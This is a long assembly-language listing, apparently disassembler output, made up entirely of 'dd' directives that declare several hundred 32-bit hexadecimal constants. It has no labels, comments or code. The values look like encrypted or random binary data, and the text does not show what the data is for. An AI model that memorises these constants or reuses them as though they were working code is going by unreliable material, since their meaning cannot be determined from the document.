		dd 0FF0CC314h, 85420A63h, 0A7393129h, 3E6319DAh, 6D515C28h
		dd 0AFB8614Dh, 8EF90C30h, 0B832BEDCh, 429CCD78h, 44FE0694h
		dd 0AD936CABh, 12BC4203h, 0CCF2E8A1h, 0A850A1E4h, 78DCFBB2h
		dd 0E32317B9h, 45C93FB2h, 8CAB9A7Ch, 0B91D4359h, 110AABCFh
		dd 58593930h, 820E38D2h, 452D8A6Ah, 0E837EE5Ch,	0C5484D10h
		dd 98948DB3h, 0B6CAD21Bh, 985EB09Ch, 0CF62960Bh, 4A90E484h
		dd 0A8566540h, 50D58FC9h, 0A207D638h, 1CD2A5A9h, 0D672D59Dh
		dd 7CD1C2D7h, 0C3CB139Ch, 1620A17Ch, 65CC5213h,	0EFC0921Fh
		dd 13D4A8E5h, 6E6A32AFh, 368CAAC4h, 0E898211Ah,	0CB6350Fh
		dd 0DA7175EAh, 0BF4EFFDAh, 0BA9600A0h, 0E2A2C91Dh, 28D7E5E0h
		dd 2A55CEAAh, 5558F0C6h, 36743922h, 0B26ECF10h,	30833F78h
		dd 0B907B4FAh, 0B53FA8B8h, 0E4EC52D3h, 0DF0D82ABh, 534D6A57h
		dd 2236A42Eh, 0F2A82315h, 197F8C82h, 60735BC6h,	0D9319B44h
		dd 3F92995h, 0B1311AA1h, 0E147180h, 7CBBBA9Eh, 10BE0B64h
		dd 9B0C0CA2h, 0CEA8CBDCh, 36FEDC7Ch, 296E7EBEh,	0BE01EFECh
		dd 21FEE9A4h, 5308FDFBh, 8FB02FEh, 0CA073507h, 306CE407h
		dd 9D074C5h, 0C13B4A86h, 0F933A461h, 1D82115Dh,	0D94BA9AAh
		dd 0B8ACEE7Bh, 22961F64h, 6BBAA46Fh, 8F8BAB72h,	0FAEBB2E6h
		dd 0FDE0CFF4h, 5FF0ED3Ch, 44327F39h, 72E0542Ch,	9DC938C6h
		dd 4F9C5A2Ah, 4FA842EFh, 0FBC43443h, 0B39C9346h, 65F7A882h
		dd 12A0079Eh, 0F876E43Ah, 23E97F58h, 8ACD4CFCh,	9BAB30F7h
		dd 0C86595D3h, 0B223DBA0h, 0FDAD5CEDh, 0A091BF12h, 6CF7B93Bh
		dd 7C698AD2h, 0FA4F943Dh, 10EE25F6h, 0B46B841h,	0E00EB4D8h
		dd 156C1D83h, 1C943050h, 28BB61E2h, 6732C9E0h, 0A75D1B41h
		dd 54DE468h, 58863796h,	0A110CF4Ch, 0D50BF5AFh,	57C0EB00h
		dd 1953A677h, 866CA717h, 66EB1EE0h, 71DA6577h, 0C98CEDFDh
		dd 17F16CE7h, 0ECA025ABh, 3ABB8F64h, 0B96B7F0Fh, 0FC1F35C8h
		dd 0B9081FB2h, 8670AE81h, 0F9553746h, 4CEE825Fh, 0FF38724Bh
		dd 24B0F6B9h, 0B2295FF9h, 1904F8A2h, 9DC42FE0h,	8D42FEF4h
		dd 0EF3A7D32h, 0C94B5F9Eh, 0D28118B1h, 376B1456h, 0ACCE0EBBh
		dd 1D5A91F0h, 0EA5C8B2Ah, 8F1D6561h, 86B65EE0h,	0AA930CCh
		dd 4C1C976Bh, 38450F70h, 0EE41E2FDh, 0AD480882h, 0A94907F3h
		dd 0AFE3A1C2h, 0E56EB063h
		dd 71494114h, 0A02E5A1h, 1980F0D4h, 0CE84C34h, 0AC90D16Eh
		dd 58BB2D9Fh, 45B407F8h, 2916EB43h, 0B5EFD651h,	18108EDBh
		dd 0A52E68B9h, 721FB228h, 0EB09ADBEh, 39EBE78Eh, 0CE2E5341h
		dd 0A36DE2Eh, 89329622h, 2370EF22h, 86ACF7A7h, 0B1F67D33h
		dd 0AC6C430Ch, 0F815FABEh, 81912E55h, 3AEF44C1h, 465D63F8h
		dd 0C5C100A1h, 1488A6FAh, 0F966F360h, 3E5D635Eh, 58C71AA5h
		dd 885D8716h, 0CD99E0A5h, 491C4077h, 8F5F717Bh,	1FA0B5B9h
		dd 0DE9F9C50h, 0A0340FFAh, 0E1BD8EE7h, 534D16C0h, 408954FBh
		dd 0DF63B9F3h, 6960CD65h, 9312166h, 0EEAEB4DBh,	91775ADBh
		dd 0F050D7B4h, 0F934DEDFh, 0B60824B7h, 5856DF2Ch, 0D1ED91E4h
		dd 9FB83BB7h, 468253B3h, 2CB23CE2h, 1224643Bh, 0D0DCDBCAh
		dd 5D3654A2h, 0EF29AEFh, 0A343BC9Bh, 86049A5Ch,	0BD87A065h
		dd 0B00D3CEEh, 0EF5D2D99h, 0F763AECFh, 0FDF7ABEBh, 0CC0197A9h
		dd 9A621EABh, 0A84B9A4Dh, 2925346h, 0ED906E1Fh,	0F8E45B21h
		dd 2163C07Fh, 4FC9D6A0h, 105734D0h, 54F7D9B1h, 0C2E7A835h
		dd 206356EBh, 0CF972EC2h, 0CA872115h, 0ADDB1DF6h, 0A354A709h
		dd 0D0C0664Ah, 0CC408871h, 904AF467h, 3181C7DDh, 58B1C935h
		dd 9F40C741h, 327A41BDh, 31A16B98h, 0E6D76D9Dh,	0E05887C3h
		dd 2D799D4Dh, 203A4403h, 0F9ED82E4h, 57384672h,	2866E80Bh
		dd 0ABD1929Ah, 0EC75BFFCh, 61010487h, 1B286386h, 9D1F4591h
		dd 7155829Eh, 0F25C68C0h, 93DF2CFCh, 8B33193Fh,	58743AD0h
		dd 8DC0A7A5h, 8B4D263Bh, 0A5C8F375h, 7EA30A36h,	9AB1421Ah
		dd 39AA85Eh, 0F3C7F32Ch, 60B6C0B9h, 2F651771h, 3DCFBDBEh
		dd 6E5C4974h, 65B1E0D8h, 49ACA8DDh, 9266D17Bh, 0DC7E3EDFh
		dd 2B238FD6h, 29E260F6h, 0FD4816E8h, 64BA1137h,	7A49C213h
		dd 0E7F806BFh, 6CBABDF8h, 0FAA38C91h, 0DDA173E6h, 0C1D27CAFh
		dd 50C1ACE8h, 68B00ECh,	63848B5Ah, 0CC4C6D1Eh, 0DEF67D41h
		dd 697D44F6h, 36615784h, 0F53E4608h, 0AFDA969Eh, 0CD3145FEh
		dd 576DDC17h, 2039AC7Fh, 6557F564h, 2C5A569Eh, 6F7E251Fh
		dd 9E87DDB0h, 0BAB0376Bh, 0F087FB79h, 457A5BEFh, 0A592CE8h
		dd 9F9ADC44h, 8FB59693h, 8CD8F067h, 426F3028h, 902BBDA1h
		dd 0F11D4093h, 3F388E72h, 0C67D566Bh, 0DF519E38h, 8C9881D9h
		dd 0B42B7B7Eh, 7FC7B973h, 0E12E5CE9h, 0B25479ADh, 5B915E8Ch
		dd 2A2BF3A1h, 8B56EC2h,	32D154B0h, 94714049h, 0EE41CE82h
		dd 124D9919h, 5D989C96h, 0A55D4F9Ch, 0F06E6F25h, 7B9D667h
		dd 0F519A4D8h, 0D928F69Eh, 0E32B23ABh, 10E05672h, 0A8AE2094h
		dd 9306AA48h, 1A69BDB8h, 0BB8A20F9h, 0D80B80E8h, 1817867Ch
		dd 5C79DBCCh, 0C653DAC9h, 0EB3647F4h, 0D96D231Bh, 0E295FB0Dh
		dd 9104112Fh, 0AD2A011h, 0AE450363h, 52B7C848h,	0BE931605h
		dd 0AB71CFCh, 0F1C8191Bh, 4E2D4BB6h, 2918BB02h,	22D3F62Ch
		dd 0DF49DCE4h, 0A8C5DF12h, 0F0E75899h, 4E7190EBh, 0DF1543B4h
		dd 14CA2B1Eh, 70A53517h, 0D013E30h, 13A70DB5h, 910DDB98h
		dd 0F303D3BEh, 0F1C11DDFh, 0E8F8FA27h, 31280BDEh, 4DCDCB19h
		dd 0DFDE43A5h, 66B4930Bh, 0F3FBC831h, 5502C44Ch, 78220405h
		dd 0E0068D9Ah, 72634CDAh, 644A09E6h, 1BEB39CCh,	28B293Bh
		dd 6FC94F42h, 0AC66DB2Ch, 3FE6A4A6h, 83F15749h,	9249D2E6h
		dd 2704F316h, 9C9AD77Bh, 0A231001h, 0C1D3B984h,	0A2CE9C25h
		dd 0D4D395F5h, 225DD082h, 0FC0F794Eh, 1A797DECh, 0BE4A7B60h
		dd 0F7E6E657h, 0D9FBBC04h, 2282F260h, 4EA45420h, 0AEB83BA9h
		dd 0C819B5F4h, 68B7CDEDh, 80FF8B6Dh, 81E65AF3h,	0D603F0A5h
		dd 0E681B407h, 79EAB58h, 0F4047E78h, 56992A64h,	677DCAEEh
		dd 0E837772Eh, 6E470AA8h, 0FB568966h, 0FE66D9Eh, 1EBEAC11h
		dd 7155A7A3h, 182E4CC5h, 0F8AFA096h, 6CA1E349h,	6FD6F48Eh
		dd 0C749B786h, 0C48D660Bh, 0F9C10A27h, 0C7D4EF58h, 998112F3h
		dd 7D0E3811h, 0C03E9935h, 0A0CEE34h, 0A21914F2h, 8FF92DB9h
		dd 0A1942DEBh, 331D5988h, 74C870EEh, 0C619BA3Fh, 1B59FAAEh
		dd 25101CB6h, 0B2A659C8h, 7EF9D637h, 0F79EFCD0h, 74EF9E18h
		dd 6DCCC14Fh, 0B3E0CFB1h, 0B5126400h, 8A40D404h, 1AD30A27h
		dd 515DA1A6h, 0FC1BE73Ch, 0CDFC566Ah, 47E03A8Fh, 13F32E92h
		dd 0A75BEE67h, 6BC45BC1h, 0DF9B91D1h, 0B6AF8F53h, 284972D2h
		dd 4548BD89h, 92C20B90h, 0F3666BABh, 0ECC9C1C4h, 0F1CF27AEh
		dd 9CF8945Bh, 17B3DA74h, 0E0CAAF43h, 8FC6F97h, 2939F1F2h
		dd 56D5E7D5h, 4016A72Dh, 48111B6h, 8D51EA0Fh, 6A015D07h
		dd 5328BA0Dh, 0F7F5071Eh, 0D8DAB5FCh, 6EF315Fh,	35F0C7D7h
		dd 0BE4E6B35h, 22671548h, 0BA55385Eh, 0D59C1369h, 90DE28C0h
		dd 2C88ABB8h, 0E323270Eh, 13DFA0B2h, 5E187F71h,	6CD370AFh
		dd 0A7E2FA53h, 0C677990Eh, 96B3C632h, 69845D28h, 0D3198F14h
		dd 871115Bh, 0B05D6808h, 0CD863F9Fh, 0AFC8C850h, 161B762Ch
		dd 6C5A5E3Fh, 0FDCD0023h, 2951CBB0h, 8B4B6C2Dh,	7F9A8790h
		dd 22A2A516h, 755B7D63h, 3D749E9Bh, 0EE0E1A7Dh,	0E1980001h
		dd 5EC69E47h, 0A9EE5743h, 34E67E27h, 762A45A4h,	556605BDh
		dd 165AD33Fh, 0F3698BDh, 0CEF28980h, 1CA76A8Eh,	9590F9ABh
		dd 0A4B10BDFh, 0DAD4526h, 414076DAh, 2AEC7700h,	625F8C33h
		dd 42E0F04h, 0FE7130Eh,	37408367h, 0F8FB3C24h, 461AEEFDh
		dd 1F68AAE8h, 90518281h, 8EFC5C27h, 0A5BEE5E1h,	0DF2CE88h
		dd 1BC5CC51h, 2C193EA7h, 126A5AD4h, 75C94648h, 50143787h
		dd 9C8440D6h, 17990CC2h, 56D2C914h, 2312109Bh, 0D528D1E7h
		dd 0F691740Eh, 0BE2B07BAh, 4CB1D674h, 0FFC444BCh, 7D20ED47h
		dd 0C19ED2D5h, 1F01FF36h, 0CA637C28h, 4796AA9Eh, 0AF7A3800h
		dd 695E7D56h, 39E4326h,	89C56166h, 0D16FD99Dh, 0D2E2921Fh
		dd 70132156h, 440AE76h,	8633F399h, 0BE4D3F3Dh, 3E87C797h
		dd 0CDE60DC4h, 0BDFD1EEAh, 0B3D74B6Bh, 966F7DA8h, 6FF5D2B9h
		dd 0ABBABC19h, 0A3B75485h, 74477C1Ch, 23942D3Bh, 9446222Fh
		dd 0E0BD4ECh, 583E40F9h, 0DEF216FEh, 3F7D43D2h,	0E9BFB823h
		dd 9F1AE967h, 0F2138629h, 38C73B01h, 18DF6F1h, 7C0122C0h
		dd 6DF224BFh, 868A6869h, 1CD15CE6h, 0EF35CDC0h,	0F817F667h
		dd 0D1FAECDCh, 9535252Ch, 2CED5D17h, 0C334E616h, 683C60BAh
		dd 9F59E143h, 0DABEC701h, 0CDEC912Ch, 0A9C78699h, 9469F267h
		dd 0FFCAEFC7h, 0D3B815BEh, 0E9DFADB2h, 0B0C9A92Fh, 4C0C46AEh
		dd 0DACAB5CEh, 0AD564C3Ah, 0ED22E1DAh, 0DD4933E4h, 18E8B873h
		dd 0C9839F65h, 0A4902BF3h, 0DF71E01Bh, 779A2922h, 4F934A08h
		dd 6D7D265Fh, 0E115A5FAh, 0F7C158C8h, 9F98DB65h, 550F8608h
		dd 0F22ADC9h, 0F7792529h, 620CF3EAh, 517F7CD9h,	58C1F416h
		dd 35BB456Ah, 7A2D8068h, 4BCA1390h, 9EA2A6FEh, 0E5FC0E4Fh
		dd 93F2E572h, 591C1658h, 559DF7D7h, 0A6AFAF50h,	1DA73385h
		dd 6027A5A7h, 0A71A0E84h, 83D815D7h, 9387BD73h,	12059244h
		dd 1DFDB5ACh, 0E7C9F4D3h, 437EB18Bh, 7F127846h,	0EB85E338h
		dd 0F8E5A4F2h, 900619h,	0E2753A39h, 0FA217373h,	8811A771h
		dd 3169587h, 0D6256EB7h, 3C581079h, 4DCAC6Fh, 0DE30BF11h
		dd 16366D9Ah, 6D63AA96h, 17C48072h, 0BCA67C1Ah,	8FDC6384h
		dd 0A623439Fh, 0A20B59EFh, 0DCFB5257h, 6C3E0BC8h, 0F53FD489h
		dd 1E806BB6h, 732D194Ch, 0E17F1689h, 0FB5F8B6Ch, 337481D4h
		dd 4E0AA217h, 972BF5E3h
		dd 4929DF3Ch, 66C65D8Ch, 604527CEh, 7A97B30h, 55A2A56Fh
		dd 0E3EBCC16h, 0AEB8F824h, 3BD61BBh, 0C98CEACAh, 0AD0591B5h
		dd 3C8227A5h, 0B2968EC6h, 0EDBBD6E3h, 4CAC4BCCh, 3DBD695Eh
		dd 18DA3BE9h, 989F2126h, 0B033074Dh, 6FEDAE11h,	3AE9DB4Ah
		dd 9BE0E024h, 9BB7165Eh, 9E0C3905h, 68E2F859h, 3DA6271Dh
		dd 0D8499257h, 71F2A241h, 0DB4C508h, 38798785h,	5237B233h
		dd 6B2DB535h, 804D5347h, 8CDC931Dh, 26753699h, 0EC42CC46h
		dd 0BCB1FA2Ch, 0F9D81769h, 75DB3FDDh, 9C2F459Eh, 0FE5F373Fh
		dd 481F144Fh, 812EC843h, 8B5FC2B2h, 689BAE3Fh, 264220F2h
		dd 1EA0B917h, 31CFD4AAh, 6F5B65F1h, 4BC8A257h, 0BA6238Dh
		dd 71A882D5h, 0B8BBAFE9h, 223FDEF2h, 0B3E54801h, 1975338Dh
		dd 0C2DA6D38h, 2E700C5h, 0BF3D2EF7h, 5D15AA04h,	0D9620EAh
		dd 0F2B65235h, 0E5473AEFh, 54676354h, 5F72D61Bh, 0BC00EB66h
		dd 0B1974A8Dh, 0EF0830B0h, 3821EADDh, 0D1DCC574h, 1C331A66h
		dd 0FD436381h, 885992BCh, 0DC1F7D2Fh, 0C7FE93C1h, 0D36BEF2Bh
		dd 8D8BABC5h, 0DD052A55h, 9C9B7779h, 0F4DBB0A3h, 0C7816346h
		dd 0D3455A74h, 2766EF14h, 0A8663E42h, 0FEC3254Eh, 0AC740078h
		dd 7349EED4h, 1C4E4748h, 0FD804C67h, 0EE714F14h, 3A981D38h
		dd 246FCA1Ch, 0A3636E68h, 4B3CA24Eh, 8DBBF3A0h,	0A758B337h
		dd 55D2F45h, 0D4114F73h, 895622A7h, 0A9A356C8h,	3E347B92h
		dd 0E7C1FB04h, 221DF855h, 0EF26C41Dh, 99C075A7h, 0B0075D60h
		dd 0D9CB1D43h, 0E764DB5Dh, 0F0A147C0h, 0D3E839D6h, 0CD609E48h
		dd 43EEA5DDh, 4361F692h, 0B6BBF67Ch, 0DAFAC228h, 4B772275h
		dd 573B3BB6h, 0D48D0027h, 0C638971Eh, 596641A9h, 1B4DC7FDh
		dd 154D6705h, 0FBEFC527h, 1A2B464Ah, 40708447h,	32972813h
		dd 0FFDD2807h, 2AC6185Fh, 80EF0998h, 4F6822FDh,	67F54F5Ah
		dd 1D0CE44Dh, 0BE6C0CA7h, 0E625532Fh, 0E58EE421h, 9D1D7EDCh
		dd 0D6C4CAA4h, 8C6E59F0h, 0AFDF4BE6h, 3728C8E6h, 31AD5EB6h
		dd 0A8DB70BCh, 3D3A97A6h, 0C361EFF0h, 202EEBEDh, 8639B852h
		dd 1F50BB68h, 0A3C9E24h, 10DDF76Ch, 46B69E60h, 0DCEDD31Eh
		dd 46D81FFAh, 15CF0843h, 0EAE5F508h, 68133E96h,	517C9460h
		dd 0B50E32ABh, 985D2E0Fh, 8F2A7B9Ah, 8E7D84Ch, 0E356B27Ah
		dd 8D360221h, 6075425Bh, 5E93035Dh, 458F968Bh, 4330BF7Bh
		dd 6E6D72A9h, 6163A5A7h, 780B881h, 0E7757AC0h, 7024ACFEh
		dd 5B88676Ah, 0EA4480B4h, 2C99F068h, 89A8290Eh,	1771CDF9h
		dd 5E5A6962h, 0D53965F3h, 0FD76535Bh, 951CC7B9h, 0F17AC1C8h
		dd 0C0655C0Fh, 9EA6E5E6h, 9AA4DD98h, 38EDCD31h,	6E4D5C59h
		dd 96BD885Fh, 8F355840h, 0EE64B393h, 345597C4h,	0A0F70798h
		dd 29126EA8h, 5F2AE836h, 5350DDECh, 1D3B1C3h, 73F53428h
		dd 4AF219E1h, 0C047792Ch, 889E1F44h, 0D394AA0Dh, 0A2326809h
		dd 71C66391h, 7C46911Bh, 8CA0F4Dh, 0A30B2918h, 19294EAh
		dd 3261D422h, 313B280Ch, 22A1BCD3h, 2FF5F5CAh, 5FD0F4FEh
		dd 0D6938CC7h, 240A0FA9h, 7982B264h, 0C7F15F7h,	8F39610Bh
		dd 1F2F826Ch, 14C3D0EAh, 1C16A00h, 0A831058Ch, 65F8D4C0h
		dd 0A06D7433h, 71B6766Ch, 74E8F126h, 64E8F9BDh,	0FA6F2823h
		dd 120B696Eh, 0A7D1D50Dh, 0E58D1E2Fh, 48DE3723h, 85C86F08h
		dd 96725AB2h, 5104C1CDh, 0AF3FC244h, 60EE34F9h,	0CECBAE30h
		dd 61BF2BDEh, 2DA5F858h, 0A7866A4Ah, 34BD9374h,	0D798DFF1h
		dd 410416D9h, 553F00D3h, 8C8B0128h, 9DFA9206h, 0B6F316EBh
		dd 0FB852685h, 0E03FF465h, 0F3EAB656h, 3EDC49B8h, 8DF14390h
		dd 5CE0749Ch, 0C2F1FD6h, 5EB2EB85h, 6C07332Ah, 6AA70746h
		dd 2CB19597h, 7E6539CBh, 0BDC06F50h, 9B771E6Ch,	0F4878FF9h
		dd 7C85B2BEh, 964EEB19h, 0DD2F2393h, 2ED72DC6h,	96C8D286h
		dd 6E88240Ah, 0FAC5E653h, 0D35B72CFh, 8D23B02h,	187778B7h
		dd 6D2B7894h, 18375F02h, 4B0BD3E5h, 0D726E0C1h,	77771B28h
		dd 2AB82160h, 784E2479h, 0D95E2ED9h, 0AB4FC24Eh, 0FCDD0982h
		dd 2258487h, 65F0B1D9h,	0E4487ADEh, 2B65A4E9h, 17FD266Ch
		dd 92E05B34h, 12843ED5h, 0EC8BC985h, 0C2EC9B0Bh, 0AE7AFADDh
		dd 23B8D50Fh, 0B65A8A47h, 890CF2FAh, 6DAA89F0h,	67CAC8F1h
		dd 0D7B5B54Fh, 89BE4FA0h, 9175B86Eh, 6804698h, 0DC578F8Fh
		dd 0AF164875h, 6C2AEE7Bh, 0EA2F7E29h, 8B9EF9CEh, 0B9356EEFh
		dd 0DB101990h, 6372BC9Fh, 7745A1C3h, 2CD9905Eh,	0CE7FC2DFh
		dd 39DBCFD1h, 519D4A7Eh, 5C62B29Eh, 0C8D518EEh,	338F1D7h
		dd 28317C19h, 7837993Dh, 0F7A00D15h, 64B77FC2h,	0A256C0B7h
		dd 3BDBC9A3h, 57A2CBF1h, 6EB12803h, 0C4EBD7CFh,	22505166h
		dd 0C164E14Ch, 0B2563FE7h, 0F305F6EFh, 910444A1h, 5220CC21h
		dd 0F65C740Dh, 0AE1AF7F8h, 0E9AC9A65h, 594D90AFh, 73B25DBh
		dd 5E4D8143h, 8F9C38E6h, 10A5A6CAh, 8B9C3247h, 0F041A9B8h
		dd 1A122F8Ch, 93FFEF88h, 0A0E087BCh, 0A7C5FCC2h, 2B089292h
		dd 3B47205Fh, 884AF0BAh, 34B6F4C7h, 60B1E7FBh, 0B2EE2690h
		dd 0AD82C598h, 4F6D2D82h, 87A1F47Dh, 1520EC8Fh,	683270C5h
		dd 61E848CEh, 0D1887710h, 0C86D8C16h, 1E0E8CB5h, 10762380h
		dd 7EEE639Ah, 27D3F21Eh, 5490C8ADh, 0AE1AB3E7h,	0A2290B09h
		dd 1D9AA445h, 0A5EBECE2h, 11387E49h, 81A16E50h,	0A3C51F29h
		dd 2C809FFFh, 382EFF9h,	495F3181h, 365F920h, 6F6EEA7Ah
		dd 6C4B0CB6h, 1073F39h,	0E53C207Eh, 0F7C66F75h,	0D0E1621Bh
		dd 70E2B66Bh, 96D7F749h, 0D9F5F98Dh, 0F7BB420Bh, 0F20BEF1h
		dd 78004D84h, 77B60F9Ah, 0ECBDC37h, 39894372h, 0B888B6A0h
		dd 5D46E984h, 4E818E8Bh, 438C730Bh, 36D4BE11h, 6CF3AA56h
		dd 8002F4DBh, 0F4251EB3h, 479CD07Bh, 0EFFE5F9Ch, 0A198CECBh
		dd 8669B7DDh, 320D764Bh, 0F2A436D5h, 0D8C464CFh, 33F5ACC4h
		dd 5C4D6E75h, 829E8BBEh, 773C93AEh, 832FCC3Eh, 0C3A4E6B4h
		dd 60C72EE1h, 6409868Dh, 4043FC15h, 2A8A5BB3h, 81D36EF7h
		dd 0E6D0E053h, 9486EA6Bh, 6EF164B1h, 77C96722h,	526496FDh
		dd 0A625E766h, 668DA993h, 31CCBFCDh, 79D5DB00h,	69DDD3DBh
		dd 0B8EF6CDFh, 9C394BCEh, 0DCA6FA21h, 0F66179B8h, 4F9E2AB7h
		dd 520D4CBCh, 69223E2Dh, 73B7C7Ah, 7D5B89ACh, 4D897C02h
		dd 0BA082DC2h, 0A30EF14Ch, 983B95F6h, 742301D0h, 0ABEE951Ah
		dd 4779AE70h, 1F128A2Ch, 918B5AA7h, 26E382D4h, 93493BDCh
		dd 712B5512h, 69C0BB7Fh, 85F1B8DAh, 0DBAADF24h,	3727E9ECh
		dd 3C139764h, 4631485Dh, 0F8FF9E68h, 0E6B90D7Ah, 225062B5h
		dd 0E25675BFh, 0E7DD0098h, 0F53031BFh, 27727953h, 914E68h
		dd 9A074FFBh, 0B52195B5h, 1D5EAAB1h, 0C1C15301h, 78B6FB5Fh
		dd 5D91AFA2h, 2F682A97h, 98BFE9C1h, 0E09EFDD4h,	0CC4419F2h
		dd 40C82693h, 759CBF22h, 7C8C3A4Fh, 4921611Bh, 91E1E0DEh
		dd 3BF8A7C3h, 27C4AC4Bh, 0DF120101h, 8B72124Dh,	59AF84E4h
		dd 1CA3519Bh, 0D99FE39Ah, 0DF4BD39Fh, 0DB7908E0h, 8DD73B01h
		dd 0A20BCE4Ah, 72D922ADh, 579B4847h, 92257E1Ch,	0EEDE7D92h
		dd 1739B7E4h, 497825C3h, 28E5D56h, 0DC4CB4D3h, 35BE9409h
		dd 2AA25C4Ch, 62127355h, 7F91DB8Fh, 448DF634h, 6BD902E0h
		dd 1AFA61FEh, 0E32FC9E9h, 0E577CB76h, 50C2469Bh, 0E9569420h
		dd 2A38BC39h, 23A82B9Fh, 0A851BA48h, 87F62C4Ch,	0CC718865h
		dd 0ECA3855Fh, 0B6866AEBh
		dd 484E8241h, 1529D633h, 0F09620E2h, 299D2F6Dh,	0A58BD877h
		dd 416EAE7Fh, 0AC400E26h, 0A5E2EFD2h, 0C21BD9A2h, 89F83F92h
		dd 8704A39Bh, 6E6D34FFh, 8395564Ah, 0E46A82F1h,	0D64FDCD3h
		dd 0CE1B31CAh, 74F948C3h, 0DEBD38FAh, 30CF52D3h, 319E3194h
		dd 3FB0BACBh, 5F18E334h, 96D03F46h, 895FA864h, 6D09EDE7h
		dd 86D7488Eh, 40167B7h,	0B81B23Dh, 3E5BEA36h, 0CA643B6Ch
		dd 0A6A685C7h, 0BEF91D9Bh, 6300B17Ah, 55A1E818h, 0DD5B7677h
		dd 74C2C59h, 0DAD778B4h, 0FCD3E6D8h, 4A5BBB3Dh,	0BDCAF423h
		dd 3811AF6Bh, 0D581301h, 0C1288EC5h, 0FDDD5592h, 7F1B6404h
		dd 0BF25D4E1h, 0D5701B89h, 45780A06h, 7F78AFB2h, 5F4CD556h
		dd 5A30FB14h, 2918C175h, 0AA83EA70h, 32E90857h,	6B2930E6h
		dd 611DFF47h, 31E4616Ch, 9BD106DFh, 0A79BD380h,	4AFB7AC5h
		dd 0E3A37A42h, 373F8765h, 0FDA7498Bh, 1DADD47h,	4A5D0F81h
		dd 31FB4490h, 0A27C7115h, 22BBD756h, 285B3DD4h,	0CF8B7805h
		dd 0D7FC3217h, 0A803DFAh, 0D469BF9h, 2B59E02Dh,	0A9EF2B87h
		dd 331BA127h, 1F3B62Bh,	4EB87B25h, 0E89A872Bh, 1715450Dh
		dd 2D2BCD3Ah, 0E1C9E3Fh, 6E0F6E16h, 0F04BA869h,	10AC5F68h
		dd 5904197h, 7C3F7995h,	5A48758Bh, 2A3867F4h, 4F229BA5h
		dd 560F85B0h, 90371CB2h, 39424A6Ah, 0B14A03D6h,	0BF364CA4h
		dd 4D4283B0h, 436BD47Fh, 0F8D47C7h, 33D1EFCBh, 9A8496CFh
		dd 0AFF9114Ch, 0C2C47877h, 98360C91h, 31021022h, 0DC99BAA2h
		dd 40FC49D6h, 76590F37h, 4F3285B0h, 9F4BE15Ah, 0D1E109EEh
		dd 0B9BF2AA7h, 4857C241h, 0F998091Fh, 0DAC666DBh, 32D8994Dh
		dd 328C9CCEh, 0D133EBDEh, 0B23F4AA3h, 4ACD41DEh, 0A443C28Dh
		dd 21DD6852h, 0C39044BBh, 4BBBBF79h, 0C94B1095h, 3C40FBEEh
		dd 62F3F445h, 0FA13A751h, 0DD0D041Ah, 0E68C473Bh, 0C367BC66h
		dd 0A1DA4B34h, 0F1E15F9Ah, 9C0E535Bh, 0F525D5DAh, 0CFC15CDFh
		dd 8B116B47h, 5666BB9h,	0C76D00C0h, 2C0F940Ch, 0D5CA0E55h
		dd 0FCF238AFh, 0C67F24BAh, 168E704Dh, 0F089B984h, 28F7A8C3h
		dd 0A08368E6h, 0DB705269h, 0CA64E93Eh, 52624C52h, 25FDDD79h
		dd 20211301h, 0F0E6363Ah, 1A37A84Eh, 40EBF8ECh,	56CE8B43h
		dd 0A1DC5911h, 464578B2h, 0A8FD59A8h, 81A47B4Dh, 5C4DFC53h
		dd 0FD4671B0h, 863C3F50h, 5973CB9h, 3FDFB3C6h, 65DD9A4h
		dd 275E2C70h, 49B89296h, 0CAE4AAACh, 0F5D73D08h, 0F490619h
		dd 1EE8FA1Ch, 0E4193EB5h, 0D651C005h, 2787FEF2h, 7D0B8859h
		dd 9763E699h, 2E59178Fh, 965153h, 31726176h, 0F3A6082Eh
		dd 8E74D6C5h, 7CFE03BCh, 7E0FEC23h, 746DE07Fh, 7B121D97h
		dd 0FE9AAF05h, 0F2441C15h, 8B3556BDh, 7B4B909Fh, 0F917C52Eh
		dd 99DA2142h, 2CD53B7Bh, 694BF27Dh, 23D1A88Eh, 63920678h
		dd 51FEBA99h, 9C36E34Fh, 8305A29Ch, 920A0144h, 0D3CA6289h
		dd 0C5CF5E6Ch, 0F23298D9h, 0B7A8D897h, 0FF4C53C1h, 2DD30F06h
		dd 71419756h, 0AD90A9C1h, 0FBB1FE0Ah, 0FDB4FA3Fh, 9C9080CCh
		dd 2A4D4FCCh, 0DEA32262h, 4839550Fh, 524C74FCh,	307D3C9Fh
		dd 0E2D50EEDh, 0B3F8E249h, 3A1C19D5h, 5600D776h, 0C3747BC8h
		dd 0D72B17BDh, 91EA70Ah, 985D9081h, 853BFB17h, 0BE6B1791h
		dd 0B3CB4DBDh, 68C7C9B0h, 0BE8A97F0h, 1299EF0h,	0EDA9ECC5h
		dd 2995FA82h, 1B8BB8EBh, 3ACE4A25h, 4C884B6Dh, 3AC55F72h
		dd 8C769AB4h, 25477CD5h, 0E6F1A67h, 8DCCE44Fh, 5FF2272Ah
		dd 0AC837126h, 67C77FC9h, 8E8184E0h, 0D6FFA33h,	5D218D5h
		dd 3147EE90h, 0B6A04BC6h, 8A74844Ah, 22DB7883h,	1AFA5615h
		dd 2F5B8DDDh, 0BFC22382h, 0E9B816B1h, 44A076B9h, 368E149Fh
		dd 868D548Ch, 4652FF9Ch, 1C500638h, 0C85FC902h,	35525139h
		dd 5ED93582h, 556D2C5Eh, 6255C300h, 0AE77DC97h,	39B11003h
		dd 3EA2BDE1h, 487E6556h, 5674D0F4h, 6E049C83h, 0E8D9BDCCh
		dd 2D97AD8Ah, 9AEB2EFFh, 7ACEBA1Dh, 0BA69FC84h,	7B6853CCh
		dd 0FE140DE4h, 89487FE4h, 0C46174E5h, 4A08107Ch, 0EE4B932h
		dd 5F4F0BFh, 0F8A46C12h, 839DE997h, 0BC11723Ah,	0EB7B883Bh
		dd 0F67B47D5h, 2EF61464h, 0ABAAF02Dh, 45460E39h, 337578DBh
		dd 0B04669BDh, 93AD161Ah, 87E991A6h, 0D0B60528h, 36E40175h
		dd 22A019C7h, 0F6A01AD5h, 716C4B7Ah, 40BC4DEAh,	7C38830Ah
		dd 6A53F2F4h, 5E6468B3h, 0E3FE4096h, 0B2EAADE2h, 6F172030h
		dd 2598FBCFh, 0AEF68CF4h, 57D820A2h, 224CB0B4h,	0C7799B7Fh
		dd 54EFC97Fh, 0D39EA4F4h, 62C9E68Bh, 3E61CE74h,	3DDC12E7h
		dd 751098D5h, 2CA50A5h,	0E25BE748h, 0E887D540h,	70C5C1EDh
		dd 0D0518958h, 2D88D23Ch, 84895D70h, 0B9E8E9Eh,	7A546977h
